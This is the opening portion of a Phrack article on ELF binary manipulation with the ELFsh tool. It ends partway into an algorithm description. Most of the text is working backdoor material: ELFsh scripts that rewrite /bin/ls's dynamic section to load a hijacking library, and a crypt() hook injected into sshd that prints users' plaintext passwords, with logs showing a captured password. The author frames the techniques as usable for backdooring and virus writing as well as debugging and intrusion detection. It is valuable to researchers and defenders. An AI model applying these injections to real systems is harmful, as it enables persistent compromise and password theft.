==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x08 of 0x0f

|=---------- .:: Devhell Labs and Phrack Magazine present ::. ----------=|
|=----------------------------------------------------------------------=|
|=------------------=[  The Cerberus ELF Interface  ]=------------------=|
|=----------------------------------------------------------------------=|
|=------------------=[  mayhem <[email protected]> ]=------------------=|


1. Introduction
2. Quick and usable backdoor in 4 bytes
   a/ The .dynamic section
   b/ DT_NEEDED and DT_DEBUG entries
   c/ Performing function hijacking
   d/ Example 1: ls and opendir()
3. Residency : ET_REL injection into ET_EXEC
   a/ Section injection : pre-interp vs post-bss
   b/ Multiple BSS merging
   c/ Symbol tables merging
   d/ Mixing (a,b,c) for injecting a module into an executable
   e/ Example 2: sshd and crypt()
   f/ Multi-architecture algorithms
   g/ ELFsh 0.51b relocation engine implementation details
4. Infection : ALTPLT technique
   a/ Foundations of ALTPLT
   b/ ALTPLT on SPARC
   c/ Example 3: md5sum and fopen64()
   d/ Multi-architecture algorithm
   e/ Improvement suggestions for the redir command
5. The end ?
6. Greets
7. References


-------[ 1. Introduction


        This article introduces three new generic techniques in ELF
        (Executable and Linking Format) objects manipulation. The first
        presented one is designed to be simple and quickly implemented,
        others are more complex and allow advanced software extension
        without having the source tree. These techniques can be used for
        a wide panel of requirements such as closed-source software
        debugging, software extension, backdooring, virii writing,
        intrusion detection and intrusion prevention.

        The examples will make use of the ELF shell [1], a freely
        available scripting language to modify ELF binaries. It works
        on two architectures (INTEL and SPARC) and four operating
        systems (Linux, NetBSD, FreeBSD, and Solaris). Moreover the
        techniques work even if the target machine is installed with
        address space randomization and execution restriction, such as
        PaX [2] protected boxes, since all the code injection is done
        in the allowed areas.

        ELF basics -will not- be explained, if you have troubles
        understanding the article, please read the ELF TIS [3] reference
        before requesting extra details ;). You can also try another
        resource [4] which is a good introduction to the ELF format,
        from the virus writing perspective.

        In the first part of the paper, an easy and pragmatic technique
        for backdooring an executable will be described, just by
        changing 4 bytes. It consists of corrupting the .dynamic section
        of the binary (2) and erase some entries (DT_DEBUG) for adding
        others (DT_NEEDED), plus swapping existing DT_NEEDED entries to
        give priority to certain symbols, all of this without changing
        the file size.

        The second part describes a complex residency technique, which
        consists of adding a module (relocatable object ET_REL, e.g. a
        .o file) into an executable file (ET_EXEC) as if the binary was
        not linked yet. This technique is provided for INTEL and SPARC
        architectures : compiled C code can thus be added permanently
        to any ELF32 executable.

        Finally, a new infection technique called ALTPLT (4) will be
        explained. This feature is an extension of PLT infection [5]
        and works in correlation with the ET_REL injection. It consists
        of duplicating the Procedure Linkage Table and inject symbols
        onto each entry of the alternate PLT. The advantages of this
        technique are the relative portability (relative because we will
        see that minor architecture dependant fixes are necessary), its
        PaX safe bevahior as well, and the ability to call the original
        function from the hook function without having to perform
        painful tasks like runtime byte restoration.

        Example ELFsh scripts are provided for all the explained
        techniques. However, no ready-to-use backdoors will be included
        (do you own!). For peoples who did not want to see these
        techniques published, I would just argue that all of
        them have been available for a couple of months for those
        who wanted, and new techniques are already in progress. These
        ideas were born from a good exploitation of the information
        provided in the ELF reference and nothing was ripped to anyone.
        I am not aware of any implementation providing these features,
        but if you feel injuried, you can send flame emails and my
        bot^H^H^H^H^H^H I will kindly answer all of them.


-------[ 2. Quick and usable backdoor in 4 bytes


        Every dynamic executable file contains a .dynamic section. This
        zone is useful for the runtime linker in order to access crucial
        information at runtime without requiring a section header table
        (SHT), since the .dynamic section data  matches the bounds of
        the PT_DYNAMIC segment entry of the Program Header Table (PHT).
        Useful information includes the address and size of relocation
        tables, the addresses of initialization and destruction routines,
        the addresses of version tables, pathes for needed libraries, and
        so on. Each entry of .dynamic looks like this, as shown in elf.h :


        typedef struct
        {
          Elf32_Sword   d_tag;                 /* Dynamic entry type */
          union
           {
             Elf32_Word d_val;                 /* Integer value */
             Elf32_Addr d_ptr;                 /* Address value */
           } d_un;
         } Elf32_Dyn;


        For each entry, d_tag is the type (DT_*) and d_val (or d_ptr) is
        the related value. Let's use the elfsh '-d' option to print the
        dynamic section:


-----BEGIN EXAMPLE 1-----
$ elfsh -f /bin/ls -d

 [*] Object /bin/ls has been loaded (O_RDONLY)

 [SHT_DYNAMIC]
 [Object /bin/ls]

 [00] Name of needed library          =>  librt.so.1 {DT_NEEDED}
 [01] Name of needed library          =>   libc.so.6 {DT_NEEDED}
 [02] Address of init function        =>  0x08048F88 {DT_INIT}
 [03] Address of fini function        =>  0x0804F45C {DT_FINI}
 [04] Address of symbol hash table    =>  0x08048128 {DT_HASH}
 [05] Address of dynamic string table =>  0x08048890 {DT_STRTAB}
 [06] Address of dynamic symbol table =>  0x08048380 {DT_SYMTAB}
 [07] Size of string table            =>   821 bytes {DT_STRSZ}
 [08] Size of symbol table entry      =>    16 bytes {DT_SYMENT}
 [09] Debugging entry (unknown)       =>  0x00000000 {DT_DEBUG}
 [10] Processor defined value         =>  0x0805348C {DT_PLTGOT}
 [11] Size in bytes for .rel.plt      =>   560 bytes {DT_PLTRELSZ}
 [12] Type of reloc in PLT            =>          17 {DT_PLTREL}
 [13] Address of .rel.plt             =>  0x08048D58 {DT_JMPREL}
 [14] Address of .rel.got section     =>  0x08048D20 {DT_REL}
 [15] Total size of .rel section      =>    56 bytes {DT_RELSZ}
 [16] Size of a REL entry             =>     8 bytes {DT_RELENT}
 [17] SUN needed version table        =>  0x08048CA0 {DT_VERNEED}
 [18] SUN needed version number       =>           2 {DT_VERNEEDNUM}
 [19] GNU version VERSYM              =>  0x08048BFC {DT_VERSYM}

 [*] Object /bin/ls unloaded

$
-----END EXAMPLE 1-----


        The careful reader would have noticed a strange entry of type
        DT_DEBUG. This entry is used in the runtime linker to retrieve
        debugging information, it is present in all GNU tools generated
        binaries but it is not mandatory. The idea is to erase it using
        a forged DT_NEEDED, so that an extra library dependance is added
        to the executable.

        The d_val field of a DT_NEEDED entry contains a relative offset
        from the beginning of the .dynstr section, where we can find the
        library path for this entry. What happens if we want to avoid
        injecting an extra library path string into the .dynstr
        section ?


-----BEGIN EXAMPLE 2-----
$ elfsh -f /bin/ls -X dynstr | grep so
.dynstr + 16  6C69 6272 742E 736F 2E31 0063 6C6F 636B librt.so.1.clock
.dynstr + 48  696E 5F75 7365 6400 6C69 6263 2E73 6F2E in_used.libc.so.
.dynstr + 176 726E 616C 0071 736F 7274 006D 656D 6370 rnal.qsort.memcp
.dynstr + 784 6565 006D 6273 696E 6974 005F 5F64 736F ee.mbsinit.__dso
$
-----END EXAMPLE 2-----


        We just have to choose an existing library path string, but
        avoid starting at the beginning ;). The ELF reference specifies
        clearly that a same string in .dynstr can be used by multiple
        entries at a time:


-----BEGIN EXAMPLE 3-----
$ cat > /tmp/newlib.c
function()
{
  printf("my own fonction \n");
}
$ gcc -shared /tmp/newlib.c -o /lib/rt.so.1
$ elfsh

 Welcome to The ELF shell 0.5b9 .::.

 .::. This software is under the General Public License
 .::. Please visit http://www.gnu.org to know about Free Software

[ELFsh-0.5b9]$ load /bin/ls
  [*] New object /bin/ls loaded on Mon Apr 28 23:09:55 2003

[ELFsh-0.5b9]$ d DT_NEEDED|DT_DEBUG

[SHT_DYNAMIC]
[Object /bin/ls]

[00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
[01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
[09] Debugging entry (unknown)         =>          0x00000000 {DT_DEBUG}

[ELFsh-0.5b9]$ set 1.dynamic[9].tag DT_NEEDED
 [*] Field set succesfully

[ELFsh-0.5b9]$ set 1.dynamic[9].val 19 # see .dynstr + 19
 [*] Field set succesfully

[ELFsh-0.5b9]$ save /tmp/ls.new
 [*] Object /tmp/ls.new saved successfully

[ELFsh-0.5b9]$ quit
 [*] Unloading object 1 (/bin/ls) *

 Good bye ! .::. The ELF shell 0.5b9

$
-----END EXAMPLE 3-----


        Lets verify our changes:


-----BEGIN EXAMPLE 4-----
$ elfsh -f ls.new -d DT_NEEDED

[*] Object ls.new has been loaded (O_RDONLY)

[SHT_DYNAMIC]
[Object ls.new]

[00] Name of needed library            =>          librt.so.1 {DT_NEEDED}
[01] Name of needed library            =>           libc.so.6 {DT_NEEDED}
[09] Name of needed library            =>             rt.so.1 {DT_NEEDED}

[*] Object ls.new unloaded

$ ldconfig                  # refresh /etc/ld.so.cache
$
-----END EXAMPLE 4-----


        This method is not extremely stealth because a simple command can
        list all the library dependances for a given binary:


$ ldd /tmp/ls.new
        librt.so.1 => /lib/librt.so.1 (0x40021000)
        libc.so.6 => /lib/libc.so.6 (0x40033000)
        rt.so.1 => /lib/rt.so.1 (0x40144000)
        libpthread.so.0 => /lib/libpthread.so.0 (0x40146000)
        /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
$


        Is the executable still working?


$ ./ls.new
AcroOlAAFj  ELFSH_DEBUG  ls.new  newlib.c
$


        OK, so we found a good way to inject as much code as we want in
        a process, by adding a library dependance to the main object, the
        executable object. Now what if we want to hijack functions with
        such an easy technique? We can force some symbols to get resolved
        in priority over other symbols : when the runtime relocation is
        done (when the .got section is patched), the runtime linker will
        iterate on the link_map [6] [7] [8] list, find the first matching
        symbol, and fill the Global Offset Table related entry (or the
        Procedure Linkage Table entry if we are on SPARC) with the
        absolute runtime address where the function is mapped. A simple
        technique consists of swapping DT_NEEDED entries and make our own
        library to be present before other libraries in the link_map
        double linked list, and symbols to be resolved before the
        original symbols. In order to call the original function from
        the hook function, we will have to use dlopen(3) and dlsym(3) so
        that we can resolve a symbol for a given object.

        Lets take the same code, and this time, write a script which can
        hijack opendir(3) to our own function(), and then call the
        original opendir(), so that the binary can be run normally:


-----BEGIN EXAMPLE 5-----
$ cat dlhijack.esh
#!/usr/bin/elfsh

load /bin/ls

# Move DT_DEBUG into DT_NEEDED
set 1.dynamic[9].tag DT_NEEDED

# Put the former DT_DEBUG entry value to the first DT_NEEDED value
set 1.dynamic[9].val 1.dynamic[0].val

# Add 3 to the first DT_NEEDED value => librt.so.1 becomes rt.so.1
add 1.dynamic[0].val 3

save ls.new
quit

$
-----END EXAMPLE 5-----


        Now let's write the opendir hook code:


-----BEGIN EXAMPLE 6-----
$ cat myopendir.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <fcntl.h>
#include <dirent.h>
#include <dlfcn.h>

#define LIBC_PATH       "/lib/libc.so.6"

DIR     *opendir(const char *name)
{
  void  *handle;
  void  *(*sym)(const char *name);

  handle = dlopen(LIBC_PATH, RTLD_LAZY);
  sym = (void *) dlsym(handle, "opendir");
  printf("OPENDIR HIJACKED -orig- = %08X .::. -param- = %s \n",
                          sym, name);
  return (sym(name));
}
$ gcc -shared myopendir.c -o rt.so.1 -ldl
$
-----END EXAMPLE 6-----


        Now we can modify the binary using our 4 lines script:


-----BEGIN EXAMPLE 7-----
$ ./dlhijack.esh

  Welcome to The ELF shell 0.5b9 .::.

  .::. This software is under the General Public License
  .::. Please visit http://www.gnu.org to know about Free Software

  ~load /bin/ls
    [*] New object /bin/ls loaded on Fri Jul 25 02:48:19 2003

  ~set 1.dynamic[9].tag DT_NEEDED
    [*] Field set succesfully

  ~set 1.dynamic[9].val 1.dynamic[0].val
    [*] Field set succesfully

  ~add 1.dynamic[0].val 3
    [*] Field modified succesfully

  ~save ls.new
    [*] Object ls.new save successfully

   ~quit
    [*] Unloading object 1 (/bin/ls) *

 Good bye ! .::. The ELF shell 0.5b9

$
-----END EXAMPLE 7-----


       Let's see the results for the original ls, and then for the
       modified ls:


$ ldd ls.new
       rt.so.1 => /lib/rt.so.1 (0x40021000)
       libc.so.6 => /lib/libc.so.6 (0x40023000)
       librt.so.1 => /lib/librt.so.1 (0x40134000)
       libdl.so.2 => /lib/libdl.so.2 (0x40146000)
       /lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)
       libpthread.so.0 => /lib/libpthread.so.0 (0x4014a000)
$ ls
c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c  \
myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
$ ./ls.new
OPENDIR HIJACKED -orig- = 400C1D5C .::. -param- = .
c.so.6  dlhijack.esh  dlhijack.esh~  ls.new  myopendir.c \
myopendir.c~  p61_ELF.txt  p61_ELF.txt~  rt.so.1
$


       Nice. Note that the current implementation of this technique in
       ELFsh changes the size of the binary because it injects
       automatically some symbols for binary sanity. If you want to keep
       the same size, you have to comment the calls to elfsh_fixup_symtab
       in the ELFsh source code ;) . This stuff is known to be used
       in the wild.

       The dynamic version of this technique has been proposed in [9],
       where the author describes how to call dlopen() in a subversive
       way, so that the process get runtime linked with an extra library.
       In practice, both implementations have nothing in common, but it
       is worth mentionning.


-------[ 3. Residency : ET_REL injection into ET_EXEC


        This second technique allows to perform relinking of the ELF
        ET_EXEC binary file and adding a relocatable object (ET_REL
        file aka .o file) into the program address space. This is very
        useful since it is a powerful method to inject as much data and
        code as needed in a file using a 5 lines script.

        Such relocation based backdoors have been developped in the
        past for static kernel patching [10] (ET_REL into vmlinuz) and
        direct LKM loading in kernel memory (ET_REL into kmem) [11] .
        However, this ET_REL injection into ET_EXEC implementation is in
        my sense particulary interresting since it has been implemented
        considering a larger scope of target architectures and for
        protected environments.

        Because ELFsh is also used for things other than backdooring,
        the SHT and the symbol table are kept synchronized when we
        insert our stuff into the binary, so that symbol resolving can
        be provided even in the injected code.

        Since the backdoor needs to stay valid on a PaX protected box,
        we use 2 different injection techniques (one for the code
        sections, the other for the data sections) called section
        pre-interp injection (because we insert the new section before
        the .interp section) and section post-bss injection (because we
        insert the new section after the .bss section).

        For this second injection type, .bss data physical insertion
        into the file is necessary, since .bss is the non-initialized
        data section, it is only referenced by the SHT and PHT, but it
        is not present in the file.

        Also, note that section pre-interp injection is not possible
        with the current FreeBSD dynamic linker (some assert() kills the
        modified binary), so all sections are injected using a post-bss
        insertion on this OS. This is not an issue since FreeBSD does not
        come with non-executable protection for datapages. If such a
        protection comes in the future, we would have to modify the
        dynamic linker itself before being able to run the modified
        binary, or make the code segment writable in sh_flags.

        Let's look at the binary layout (example is sshd, it is the same
        for all the binaries) :


-----BEGIN EXAMPLE 8-----
$ elfsh -f /usr/sbin/sshd -q -s -p

[SECTION HEADER TABLE .::. SHT is not stripped]
[Object /usr/sbin/sshd]

[000] (nil)      -------                 foff:00000000 sz:00000000 link:00
[001] 0x80480f4  a------ .interp         foff:00000244 sz:00000019 link:00
[002] 0x8048108  a------ .note.ABI-tag   foff:00000264 sz:00000032 link:00
[003] 0x8048128  a------ .hash           foff:00000296 sz:00001784 link:04
[004] 0x8048820  a------ .dynsym         foff:00002080 sz:00003952 link:05
[005] 0x8049790  a------ .dynstr         foff:00006032 sz:00002605 link:00
[006] 0x804a1be  a------ .gnu.version    foff:00008638 sz:00000494 link:04
[007] 0x804a3ac  a------ .gnu.version_r  foff:00009132 sz:00000096 link:05
[008] 0x804a40c  a------ .rel.got        foff:00009228 sz:00000008 link:04
[009] 0x804a414  a------ .rel.bss        foff:00009236 sz:00000056 link:04
[010] 0x804a44c  a------ .rel.plt        foff:00009292 sz:00001768 link:04
[011] 0x804ab34  a-x---- .init           foff:00011060 sz:00000037 link:00
[012] 0x804ab5c  a-x---- .plt            foff:00011100 sz:00003552 link:00
[013] 0x804b940  a-x---- .text           foff:00014656 sz:00145276 link:00
[014] 0x806f0bc  a-x---- .fini           foff:00159932 sz:00000028 link:00
[015] 0x806f0e0  a------ .rodata         foff:00159968 sz:00068256 link:00
[016] 0x8080b80  aw----- .data           foff:00228224 sz:00003048 link:00
[017] 0x8081768  aw----- .eh_frame       foff:00231272 sz:00000004 link:00
[018] 0x808176c  aw----- .ctors          foff:00231276 sz:00000008 link:00
[019] 0x8081774  aw----- .dtors          foff:00231284 sz:00000008 link:00
[020] 0x808177c  aw----- .got            foff:00231292 sz:00000900 link:00
[021] 0x8081b00  aw----- .dynamic        foff:00232192 sz:00000200 link:05
[022] 0x8081bc8  -w----- .sbss           foff:00232416 sz:00000000 link:00
[023] 0x8081be0  aw----- .bss            foff:00232416 sz:00025140 link:00
[024] (nil)      ------- .comment        foff:00232416 sz:00002812 link:00
[025] (nil)      ------- .note           foff:00235228 sz:00001480 link:00
[026] (nil)      ------- .shstrtab       foff:00236708 sz:00000243 link:00
[027] (nil)      ------- .symtab         foff:00236951 sz:00000400 link:00
[028] (nil)      ------- .strtab         foff:00237351 sz:00000202 link:00

[Program header table .::. PHT]
[Object /usr/sbin/sshd]

[0] 0x08048034 -> 0x080480F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(000244) filesz(000019)
[2] 0x08048000 -> 0x0807FB80 r-x memsz(228224) foff(000000) filesz(228224)
[3] 0x08080B80 -> 0x08087E14 rw- memsz(029332) foff(228224) filesz(004168)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(232192) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(000264) filesz(000032)

[Program header table .::. SHT correlation]
[Object /usr/sbin/sshd]

[*] SHT is not stripped

[00] PT_PHDR
[01] PT_INTERP         .interp
[02] PT_LOAD           .interp .note.ABI-tag .hash .dynsym .dynstr \
                      .gnu.version .gnu.version_r .rel.got .rel.bss \
                      .rel.plt .init .plt .text .fini .rodata
[03] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic
[04] PT_DYNAMIC        .dynamic
[05] PT_NOTE           .note.ABI-tag

$
-----END EXAMPLE 8-----


       We have here two loadable segments, one is executable (matches the
       code segment) and the other is writable (matches the data
       segment).

       What we have to do is to inject all non-writable sections before
       .interp (thus in the code segment), and all other section's after
       .bss in the data segment. Let's code a handler for crypt() which
       prints the clear password and exit. In this first example, we
       will use GOT redirection [12] and hijack crypt() which stays in
       the libc:


-----BEGIN EXAMPLE 9-----
$ cat mycrypt.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>

int     glvar = 42;
int     bssvar;

char *mycrypt(const char *key, const char *salt)
{
  bssvar = 2;
  printf(".:: crypt redirected -key- = %s (%u .::. %u) \n",
        key, glvar, bssvar);
  exit(0);
}
$ gcc -c mycrypt.c
$
-----END EXAMPLE 9-----


       Using the 'reladd' command, we will inject mycrypt.o into sshd:


-----BEGIN EXAMPLE 10-----
$ cat etreladd.esh
#!/usr/bin/elfsh

load /usr/sbin/sshd
load mycrypt.o

# Inject mycrypt.o into sshd
reladd 1 2

# Modify crypt() got entry and make it point on mycrypt() which resides
# into mycrypt.o
set 1.got[crypt] mycrypt

save sshd.new
quit

$ ./etreladd.esh

        Welcome to The ELF shell 0.5b9 .::.

        .::. This software is under the General Public License
        .::. Please visit http://www.gnu.org to know about Free Software

~load /usr/sbin/sshd
 [*] New object /usr/sbin/sshd loaded on Fri Jul 25 04:43:58 2003

~load mycrypt.o
 [*] New object mycrypt.o loaded on Fri Jul 25 04:43:58 2003

~reladd 1 2
 [*] ET_REL mycrypt.o injected succesfully in ET_EXEC /usr/sbin/sshd

~set 1.got[crypt] mycrypt
 [*] Field set succesfully

~save sshd.new
 [*] Object sshd.new save successfully

~quit
[*] Unloading object 1 (mycrypt.o)
[*] Unloading object 2 (/usr/sbin/sshd) *

        Good bye ! .::. The ELF shell 0.5b9
$
-----END EXAMPLE 10-----


       Our script rocked. As I said, the symbol tables and the .bss from
       the module have been fused with those from the executable file
       and the SHT has been kept synchronized, so that resolving is also
       possible in the injected code:


-----BEGIN EXAMPLE 11-----
$ elfsh -f sshd.new -q -s -p
[SECTION HEADER TABLE .::. SHT is not stripped]
[Object sshd.new]

[00] (nil)      -------                 foff:00000000 sz:00000000 link:00
[01] 0x80450f4  a-x---- .orig.plt       foff:00000244 sz:00004096 link:00
[02] 0x80460f4  a------ mycrypt.o.rodata foff:00004340 sz:00004096 link:00
[03] 0x80470f4  a-x---- mycrypt.o.text  foff:00008436 sz:00004096 link:00
[04] 0x80480f4  a------ .interp         foff:00012532 sz:00000019 link:00
[05] 0x8048108  a------ .note.ABI-tag   foff:00012552 sz:00000032 link:00
[06] 0x8048128  a------ .hash           foff:00012584 sz:00001784 link:07
[07] 0x8048820  a------ .dynsym         foff:00014368 sz:00003952 link:08
[08] 0x8049790  a------ .dynstr         foff:00018320 sz:00002605 link:00
[09] 0x804a1be  a------ .gnu.version    foff:00020926 sz:00000494 link:07
[10] 0x804a3ac  a------ .gnu.version_r  foff:00021420 sz:00000096 link:08
[11] 0x804a40c  a------ .rel.got        foff:00021516 sz:00000008 link:07
[12] 0x804a414  a------ .rel.bss        foff:00021524 sz:00000056 link:07
[13] 0x804a44c  a------ .rel.plt        foff:00021580 sz:00001768 link:07
[14] 0x804ab34  a-x---- .init           foff:00023348 sz:00000037 link:00
[15] 0x804ab5c  a-x---- .plt            foff:00023388 sz:00003552 link:00
[16] 0x804b940  a-x---- .text           foff:00026944 sz:00145276 link:00
[17] 0x806f0bc  a-x---- .fini           foff:00172220 sz:00000028 link:00
[18] 0x806f0e0  a------ .rodata         foff:00172256 sz:00068256 link:00
[19] 0x8080b80  aw----- .data           foff:00240512 sz:00003048 link:00
[20] 0x8081768  aw----- .eh_frame       foff:00243560 sz:00000004 link:00
[21] 0x808176c  aw----- .ctors          foff:00243564 sz:00000008 link:00
[22] 0x8081774  aw----- .dtors          foff:00243572 sz:00000008 link:00
[23] 0x808177c  aw----- .got            foff:00243580 sz:00000900 link:00
[24] 0x8081b00  aw----- .dynamic        foff:00244480 sz:00000200 link:08
[25] 0x8081bc8  -w----- .sbss           foff:00244704 sz:00000000 link:00
[26] 0x8081be0  aw----- .bss            foff:00244704 sz:00025144 link:00
[27] 0x8087e18  aw----- mycrypt.o.data  foff:00269848 sz:00000004 link:00
[28] (nil)      ------- .comment        foff:00269852 sz:00002812 link:00
[29] (nil)      ------- .note           foff:00272664 sz:00001480 link:00
[30] (nil)      ------- .shstrtab       foff:00274144 sz:00000300 link:00
[31] (nil)      ------- .symtab         foff:00274444 sz:00004064 link:00
[32] (nil)      ------- .strtab         foff:00278508 sz:00003423 link:00

[Program header table .::. PHT]
[Object sshd.new]

[0] 0x08045034 -> 0x080450F4 r-x memsz(000192) foff(000052) filesz(000192)
[1] 0x080480F4 -> 0x08048107 r-- memsz(000019) foff(012532) filesz(000019)
[2] 0x08045000 -> 0x0807FB80 r-x memsz(240512) foff(000000) filesz(240512)
[3] 0x08080B80 -> 0x08087E1C rw- memsz(029340) foff(240512) filesz(029340)
[4] 0x08081B00 -> 0x08081BC8 rw- memsz(000200) foff(244480) filesz(000200)
[5] 0x08048108 -> 0x08048128 r-- memsz(000032) foff(012552) filesz(000032)

[Program header table .::. SHT correlation]
[Object sshd.new]

[*] SHT is not stripped

[0] PT_PHDR
[1] PT_INTERP         .interp
[2] PT_LOAD           .orig.plt mycrypt.o.rodata mycrypt.o.text .interp
                     .note.ABI-tag .hash .dynsym .dynstr .gnu.version
                     .gnu.version_r .rel.got .rel.bss .rel.plt .init
                     .plt .text .fini .rodata
[3] PT_LOAD           .data .eh_frame .ctors .dtors .got .dynamic .sbss
                     .bss mycrypt.o.data
[4] PT_DYNAMIC        .dynamic
[5] PT_NOTE           .note.ABI-tag

$
-----END EXAMPLE 11-----


       The new sections can be easily spotted in the new SHT, since
       their name starts with the module name (mycrypt.o.*). Please
       elude the .orig.plt presence for the moment. This section
       is injected at ET_REL insertion time, but it is not used in
       this example and it will be explained as a stand-alone technique
       in the next chapter.

       We can see that the new BSS size is 4 bytes bigger than the
       original one. It is because the module BSS was only filled with
       one variable (bssvar), which was a 4 bytes sized integer since
       this specific example was done on a 32 bits architecture. The
       difficulty of this operation is to find the ET_REL object BSS
       section size, because it is set to 0 in the SHT. For this
       operation, we need to care about variable address alignement
       using the st_value field from each SHN_COMMON symbols of the
       ET_REL object, as specified by the ELF reference. Details for
       this algorithm are given later in the article.

       It works on Solaris as well, even if ET_REL files generated by
       Solaris-ELF ld have no .bss section entry in the SHT. The 0.51b2
       implementation has one more limitation on Solaris, which
       is a 'Malloc problem' happening at the first malloc() call when
       using a section post-bss injection. You dont have to use this kind
       of section injection ; ET_REL injection works well on Solaris if
       you do not use initialized global variables. This problem has been
       solved in 0.51b3 by shifting _end, _edata, and _END_ dynamic symbols
       so that they still points on the beginning of the heap (e.g. at
       the end of the last post-bss mapped section, or at the end of the
       bss, if there is no post-bss mapped section).

       Also, the .shstrtab, .symtab, and .strtab sections have been
       extended, and now contain extra symbol names, extra section names,
       and extra symbols copied from the ET_REL object.

       You can note that pre-interp injected sections base address is
       congruent getpagesize(), so that the executable segment always
       starts at the beginning of a page, as requested by the ELF
       reference. ELFsh could save some place here, instead of allocating
       the size of a page each time a section is injected, but that would
       complexify the algorithm a bit, so the congruence is kept for
       each inserted section.

       The implementation has the cool advantage of -NOT- having to move
       the original executable address space, so that no relocation of
       the original code is needed. In other words, only the .o object
       sections are relocated and we can be sure that no false positive
       relocation is possible (e.g. we -DO NOT- have to find all
       references in the sshd code and patch them because the address
       space changed).

       This is the injected code section's assembly dump, which contains
       the mycrypt function:


-----BEGIN EXAMPLE 12-----
$ elfsh -f sshd.new -q -D mycrypt.o.text

080470F4 mycrypt.o.text + 0            push          %ebp
080470F5 mycrypt.o.text + 1            mov           %esp,%ebp
080470F7 mycrypt.o.text + 3            sub           $8,%esp
080470FA mycrypt.o.text + 6            mov           $2,<bssvar>
08047104 mycrypt.o.text + 16           mov           <bssvar>,%eax
08047109 mycrypt.o.text + 21           push          %eax
0804710A mycrypt.o.text + 22           mov           <glvar>,%eax
0804710F mycrypt.o.text + 27           push          %eax
08047110 mycrypt.o.text + 28           mov           8(%ebp),%eax
08047113 mycrypt.o.text + 31           push          %eax
08047114 mycrypt.o.text + 32           push          $<mycrypt.o.rodata>
08047119 mycrypt.o.text + 37           call          <printf>
0804711E mycrypt.o.text + 42           add           $10,%esp
08047121 mycrypt.o.text + 45           add           $0xFFFFFFF4,%esp
08047124 mycrypt.o.text + 48           push          $0
08047126 mycrypt.o.text + 50           call          <exit>
0804712B mycrypt.o.text + 55           add           $10,%esp
0804712E mycrypt.o.text + 58           lea           0(%esi),%esi
08047134 mycrypt.o.text + 64           leave
08047135 mycrypt.o.text + 65           ret
-----END EXAMPLE 12-----


        Lets test our new sshd:


$ ssh mayhem@localhost
Enter passphrase for key '/home/mayhem/.ssh/id_dsa': <-- type <ENTER>
mayhem@localhost's password: <--- type your passwd
Connection closed by 127.0.0.1
$


       Let's verify on the server side what happened:


$ ./sshd.new -d
debug1: Seeding random number generator
debug1: sshd version OpenSSH_3.0.2p1
debug1: private host key: #0 type 0 RSA1
debug1: read PEM private key done: type RSA
debug1: private host key: #1 type 1 RSA
debug1: read PEM private key done: type DSA
debug1: private host key: #2 type 2 DSA
debug1: Bind to port 22 on 0.0.0.0.
Server listening on 0.0.0.0 port 22.
debug1: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 40619
debug1: Client protocol version 2.0; client software version OpenSSH_3.5p1
debug1: match: OpenSSH_3.5p1 pat ^OpenSSH
Enabling compatibility mode for protocol 2.0
debug1: Local version string SSH-2.0-OpenSSH_3.0.2p1
debug1: Rhosts Authentication disabled, originating port 40619 not trusted
debug1: list_hostkey_types: ssh-rsa,ssh-dss
debug1: SSH2_MSG_KEXINIT sent
debug1: SSH2_MSG_KEXINIT received
debug1: kex: client->server aes128-cbc hmac-md5 none
debug1: kex: server->client aes128-cbc hmac-md5 none
debug1: SSH2_MSG_KEX_DH_GEX_REQUEST received
debug1: SSH2_MSG_KEX_DH_GEX_GROUP sent
debug1: dh_gen_key: priv key bits set: 127/256
debug1: bits set: 1597/3191
debug1: expecting SSH2_MSG_KEX_DH_GEX_INIT
debug1: bits set: 1613/3191
debug1: SSH2_MSG_KEX_DH_GEX_REPLY sent
debug1: kex_derive_keys
debug1: newkeys: mode 1
debug1: SSH2_MSG_NEWKEYS sent
debug1: waiting for SSH2_MSG_NEWKEYS
debug1: newkeys: mode 0
debug1: SSH2_MSG_NEWKEYS received
debug1: KEX done
debug1: userauth-request for user mayhem service ssh-connection method \
none
debug1: attempt 0 failures 0
Failed none for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
publickey
debug1: attempt 1 failures 1
debug1: test whether pkalg/pkblob are acceptable
debug1: temporarily_use_uid: 1000/31337 (e=0)
debug1: trying public key file /home/mayhem/.ssh/authorized_keys
debug1: matching key found: file /home/mayhem/.ssh/authorized_keys, line 1
debug1: restore_uid
Postponed publickey for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
keyboard-interactive
debug1: attempt 2 failures 1
debug1: keyboard-interactive devs
debug1: auth2_challenge: user=mayhem devs=
debug1: kbdint_alloc: devices ''
Failed keyboard-interactive for mayhem from 127.0.0.1 port 40619 ssh2
debug1: userauth-request for user mayhem service ssh-connection method \
password
debug1: attempt 3 failures 2
:: crypt redirected -key- = mytestpasswd (42 .::. 2)
$


       Fine. If you want extreme details on the implementation, please
       read the ELFsh code, particulary libelfsh/relinject.c. For the
       academic audience, the pseudo-code algorithms are provided.
       Because ET_REL injection is based on BSS and Symbol table fusion,
       section pre-interp injection, section post-bss injection,
       SHT shifting, SHT entry insertion, symbol injection, and section
       data injection, all those algorithms are also available. The BSS
       physical insertion is performed only once, at the first use of
       post-bss injection. The general algorithm for ET_REL injection is
       as follow:


1/ Fuse ET_REL and ET_EXEC .bss sections
2/ Find and inject ET_REL allocatable sections into ET_EXEC
3/ Synchronize ET_EXEC symbol table (inject missing ET_REL symbols)
4/ Relocate each injected section if its .rel(a) table is available


       Now let's give some details ;)


--------[ .:: MAIN ALGORITHM : ET_REL injection into ET_EXEC ::.


      1/ Insert ET_REL object .bss into ET_EXEC (see BSS fusion algo)

